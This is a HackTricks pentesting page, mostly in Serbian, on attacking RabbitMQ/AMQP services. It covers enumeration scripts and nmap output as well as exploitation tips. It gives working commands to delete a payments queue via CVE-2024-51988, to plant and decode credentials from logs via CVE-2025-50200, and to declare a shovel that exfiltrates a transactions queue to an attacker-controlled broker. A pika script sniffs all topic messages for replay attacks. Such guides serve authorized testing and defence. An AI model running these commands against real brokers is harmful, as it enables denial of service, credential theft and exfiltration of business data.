5671,5672 - Pentesting AMQP
Tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Basic Information
Iz cloudamqp:
RabbitMQ je message-queueing software poznat i kao message broker ili queue manager. Jednostavno rečeno; to je softver gde se definišu redovi (queues), na koje se aplikacije povezuju kako bi preneli poruku ili poruke.
A message can include any kind of information. Na primer, može sadržati informacije o procesu ili zadatku koji bi trebao da se pokrene u drugoj aplikaciji (koja može biti i na drugom serveru), ili može biti samo jednostavna tekstualna poruka. Queue-manager softver čuva poruke dok se prijemna aplikacija ne poveže i ne preuzme poruku iz reda. Prijemna aplikacija tada procesuira poruku.
Definicija iz .
Default port: 5672,5671
PORT STATE SERVICE VERSION
5672/tcp open amqp RabbitMQ 3.1.5 (0-9)
- Default credentials:
guest:guest. RabbitMQ ih ograničava na localhost prekoloopback_users, ali mnogi Docker/IoT image-i onemogućavaju tu proveru, zato uvek testirajte remote login pre nego što pretpostavite da je blokiran. - Authentication mechanisms: PLAIN i AMQPLAIN su omogućeni po defaultu, ANONYMOUS je mapiran na
anonymous_login_user/anonymous_login_pass, a EXTERNAL (x509) može biti izložen kada je TLS omogućen. Enumerišite šta broker oglašava da biste znali da li da kasnije pokušate password spraying ili certificate impersonation.
Enumeracija
Ručno
import amqp
# By default it uses "guest":"guest"
conn = amqp.connection.Connection(host="IP", port=5672, virtual_host="/")
conn.connect()
print("SASL mechanisms:", conn.mechanisms)
for k, v in conn.server_properties.items():
print(k, v)
Kada se autentifikujete, dump conn.server_properties, conn.channel_max i conn.frame_max kako biste razumeli ograničenja propusnosti i da li možete iscrpeti resurse prevelikim okvirima.
Automatski
nmap -sV -Pn -n -T4 -p 5672 --script amqp-info IP
PORT STATE SERVICE VERSION
5672/tcp open amqp RabbitMQ 3.1.5 (0-9)
| amqp-info:
| capabilities:
| publisher_confirms: YES
| exchange_exchange_bindings: YES
| basic.nack: YES
| consumer_cancel_notify: YES
| copyright: Copyright (C) 2007-2013 GoPivotal, Inc.
| information: Licensed under the MPL. See http://www.rabbitmq.com/
| platform: Erlang/OTP
| product: RabbitMQ
| version: 3.1.5
| mechanisms: PLAIN AMQPLAIN
|_ locales: en_US
TLS/SASL provere
- Probe AMQPS:
openssl s_client -alpn amqp -connect IP:5671 -tls1_3 -msg </dev/null
Ovo leaks sertifikatni lanac, podržane TLS verzije i da li je mutual TLS zahtevan.
- List listeners without creds:
rabbitmq-diagnostics -q listeners
Koristan jednom kada dobijete low-priv shell pristup hostu.
- Spot ANONYMOUS logins: if the broker allows the ANONYMOUS SASL mechanism, try connecting with an empty username/password; RabbitMQ will internally map you to the
anonymous_login_user(defaults toguest).
Brute Force
Exploitation Tips
Queue deletion without configure perms (CVE-2024-51988)
RabbitMQ ≤ 3.12.10 (and unpatched Tanzu builds) ne proverava configure permission kada se redovi brišu putem HTTP API-ja. Bilo koji autentifikovani korisnik sa pristupom ciljnom vhost-u može obrisati proizvoljne redove čak i ako ima samo read ili write prava.
# confirm vulnerable version first
rabbitmqadmin -H target -P 15672 -u user -p pass show overview | grep -i version
# delete a high-value queue
curl -k -u user:pass -X DELETE https://target:15672/api/queues/%2F/payments-processing
Kombinujte ovo sa rabbitmqadmin list permissions da pronađete vhosts gde vaš low-priv korisnik ima delimičan pristup, zatim obrišite queues da izazovete denial of service ili pokrenete compensating controls uočene na AMQP strani. Proverite 15672 pentesting za više HTTP API endpoints koje možete chain-ovati sa ovim bugom.
Prikupljanje kredencijala iz RabbitMQ logova (CVE-2025-50200)
Do verzija 4.0.8/4.1.0, pozivanje management API-ja sa HTTP basic auth na nepostojeći resurs uzrokuje da broker zabeleži ceo Authorization header (base64). Ako dobijete ograničen pristup fajl-sistemu (npr. Docker escape, plugin RCE), pretražite /var/log/rabbitmq/rabbit@*.log za Authorization: i povratite kredencijale za druge tenants ili service accounts.
curl -k -u pentester:SuperSecret https://target:15672/api/queues/%2f/ghost
sudo grep -R "Authorization:" /var/log/rabbitmq | cut -d' ' -f3 | base64 -d
Pokrenite ovo namerno sa lažnim endpoint-ima da posadite sveže tajne u logove, zatim pivotirajte ponovnim korišćenjem dekodiranih creds preko AMQP, STOMP, MQTT ili samog OS-a.
Iskoristite rabbitmqadmin-ng
rabbitmqadmin v2 (aka rabbitmqadmin-ng) je samostalan CLI koji komunicira sa management API-jem i sada se isporučuje kao statički linkovane build-ove za Linux/macOS/Windows. Stavite ga na svoj bounce box i skriptujte:
# enumerate live channels and prefetch pressure
rabbitmqadmin --host target --port 15672 --username user --password pass channels list --non-interactive
# clone a shovel to exfiltrate messages to attacker-controlled broker
rabbitmqadmin shovels declare_amqp091 \
--name loot \
--source-uri amqp://user:pass@target:5672/%2f \
--destination-uri amqp://attacker:pw@vps:5672/%2f \
--source-queue transactions \
--destination-queue stolen
Pošto alat podržava provere zdravlja kompatibilne sa blue/green, možete takođe zloupotrebiti rabbitmqadmin health_check port_listener --port 5672 da daljinski potvrdite da li su TLS listeners izloženi ili da držite servis zauzetim radi timing probes.
Message hijacking/sniffing
Ako pronađete permisivne politike (.* bindings, topic exchanges, or x-queue-master-locator = min-masters), možete tiho presretati poruke bez njihovog brisanja:
import pika
creds = pika.PlainCredentials('user','pass')
conn = pika.BlockingConnection(pika.ConnectionParameters('IP', 5672, '/', creds))
ch = conn.channel()
ch.queue_declare(queue='loot', exclusive=True, auto_delete=True)
ch.queue_bind(queue='loot', exchange='amq.topic', routing_key='#')
for method, props, body in ch.consume('loot', inactivity_timeout=5):
if body:
print(method.routing_key, body)
Zameni routing key sa audit.# ili payments.* da se fokusiraš na osetljive tokove, potom ponovo objavi forgirane poruke menjajući argumente basic_publish — korisno za replay attacks protiv downstream microservices.
Ostali RabbitMQ portovi
U https://www.rabbitmq.com/networking.html možeš pronaći da rabbitmq koristi više portova:
- 1883, 8883: (MQTT clients bez i sa TLS, ako je MQTT plugin omogućen. Learn more about how to pentest MQTT here.
- 4369: epmd, servis za otkrivanje peer-ova koji koriste RabbitMQ čvorovi i CLI alati. Learn more about how to pentest this service here.
- 5672, 5671: koriste ih AMQP 0-9-1 i 1.0 klijenti bez i sa TLS
- 15672: HTTP API klijenti, management UI i rabbitmqadmin (samo ako je management plugin omogućen). Learn more about how to pentest this service here.
- 15674: STOMP-over-WebSockets klijenti (samo ako je Web STOMP plugin omogućen)
- 15675: MQTT-over-WebSockets klijenti (samo ako je Web MQTT plugin omogućen)
- 15692: Prometheus metrike (samo ako je Prometheus plugin omogućen)
- 25672: koristi se za komunikaciju između čvorova i CLI alata (Erlang distribution server port) i dodeljuje se iz dinamičkog opsega (ograničeno na jedan port po defaultu, izračunato kao AMQP port + 20000). Osim ako spoljašnje konekcije na ovim portovima zaista nisu neophodne (npr. klaster koristi federation ili se CLI alati koriste na mašinama van subnet-a), ovi portovi ne bi trebalo da budu javno izloženi. Vidi networking guide za detalje. Samo 9 od ovih portova je otvoreno na internetu.
- 35672-35682: koriste se od strane CLI alata (Erlang distribution client ports) za komunikaciju sa čvorovima i dodeljuju se iz dinamičkog opsega (izračunato kao server distribution port + 10000 do server distribution port + 10010). Vidi networking guide za detalje.
- 61613, 61614: STOMP clients bez i sa TLS (samo ako je STOMP plugin omogućen). Manje od 10 uređaja sa ovim portom otvorenim i uglavnom UDP za DHT čvorove.
Vidi takođe
Shodan
AMQP
Reference
- CloudAMQP – RabbitMQ for beginners
- RabbitMQ Networking Guide
- RabbitMQ Authentication, Authorisation & Access Control
- CVE-2024-51988 – RabbitMQ HTTP API queue deletion bug
- GHSA-gh3x-4x42-fvq8 – RabbitMQ logs Authorization header
- rabbitmqadmin v2 (rabbitmqadmin-ng)
Tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.


